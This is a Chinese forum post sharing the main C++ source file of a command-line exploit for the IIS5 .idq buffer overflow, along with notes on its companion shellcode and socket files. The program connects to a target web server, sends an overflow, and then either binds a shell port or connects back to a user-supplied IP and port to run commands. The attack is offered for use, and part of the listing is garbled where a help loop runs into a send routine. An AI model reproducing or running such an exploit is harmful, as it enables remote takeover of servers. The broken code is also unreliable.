返回列表 回复 发帖

IIS5_IDQ命令行溢出程序源代码

信息来源:HOKY
 
SNAKE的IIS5_IDQ命令行溢出程序源代码

IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.

文件结构:

cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
 

文件1:iisidqoverflow.cpp (主文件)
  1. #include <afxwin.h>
  2. #include "snakesocket.h"
  3. #include "wsastart.h"
  4. #include "SkShellCodeFunc.h"

  5. //function predeclare.
  6. //取得 需要 地址 信息
  7. void GetNecesProcAddr( char *szInfo, int iMaxSize);
  8. //生成我的 shell code代码.
  9. int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);


  10. //宣示帮助.
  11. void ShowHelp()
  12. {
  13. int i;

  14. printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n");
  15. printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");
  16. printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");
  17. printf("\r\n 如果为1,那么,将输入新的命令.");

  18. printf("\r\n\r\n支持的操作系统 类型: ----\r\n");

  19. for( i=0; i 0){
  20. send( msocket, szBuff, iLen, 0);
  21. }

  22. return (iLen>0)?true:false;
  23. }

  24. int main(int argc, char *argv[])
  25. {
  26. CWSAStart wsaStart;
  27. CSnakeSocket snakeSocket;
  28. WORD wPort;
  29. DWORD dwIP;

  30. if( argc > 1){
  31. if( stricmp( argv[1], "GetAddr") == 0){
  32. char szTemp[12048];
  33. GetNecesProcAddr(szTemp, sizeof(szTemp) );

  34. printf("%s\r\n",szTemp);

  35. OSVERSIONINFO osInfo;

  36. osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  37. GetVersionEx( &osInfo);
  38. printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n",
  39. osInfo.dwMajorVersion, osInfo.dwMinorVersion,
  40. osInfo.dwBuildNumber, osInfo.dwPlatformId,
  41. osInfo.szCSDVersion);
  42. return 0;
  43. }
  44. }
  45. if( argc < 5){
  46. ShowHelp();
  47. return 0;
  48. }
  49. wsaStart.StartUP();

  50. SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
  51. if( SystemType >= MAX_SYSTEM_TYPE_NUM){
  52. printf("操作系统类型 不正确.\r\n");
  53. ShowHelp();
  54. return 0;
  55. }
  56. dwIP = snakeSocket.GetHostAddr( argv[2]);
  57. if( dwIP == 0){
  58. printf("输入地址不对.\r\n");
  59. return 0;
  60. }

  61. Sk_ConnectType connectType;
  62. ConnectStruct connectStruct;
  63. char szCommand[129]="cmd.exe /c dir c:\\";
  64. BOOL bInputCommand=false;

  65. connectType = (Sk_ConnectType)atoi(argv[4]);
  66. connectStruct.byConnectType = connectType;
  67. switch(connectType){
  68. case LISTEN_ON_PORT:
  69. connectStruct.wListenPort = atoi(argv[5]);
  70. if( argc >= 7){
  71. bInputCommand = true;
  72. }
  73. break;
  74. case CONNECT_TO_HOST:
  75. if( argc < 6){
  76. printf("参数不足够.\r\n");
  77. return 0;
  78. }
  79. connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
  80. connectStruct.wConnectPort = atoi(argv[6]);
  81. if( argc >= 8){
  82. bInputCommand = true;
  83. }
  84. break;
  85. default:
  86. printf("溢出类型不正确.\r\n");
  87. return 0;
  88. }

  89. if( bInputCommand){
  90. printf("\r\n请输入绑定的命令:");
  91. scanf( "%s",szCommand);
  92. }

  93. snakeSocket.createSocket();
  94. wPort = atoi(argv[3]);

  95. if( !snakeSocket.connect( argv[2], wPort)){
  96. printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);
  97. return 0;
  98. }
  99. else
  100. printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);

  101. BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

  102. if( bValue){
  103. printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);
  104. printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);
  105. }
  106. else{
  107. printf( "发送失败, 对方系统类型不支持\r\n");
  108. }

  109. snakeSocket.CloseSocket();
  110. wsaStart.CleanUP();

  111. return 0;
  112. }
复制代码
返回列表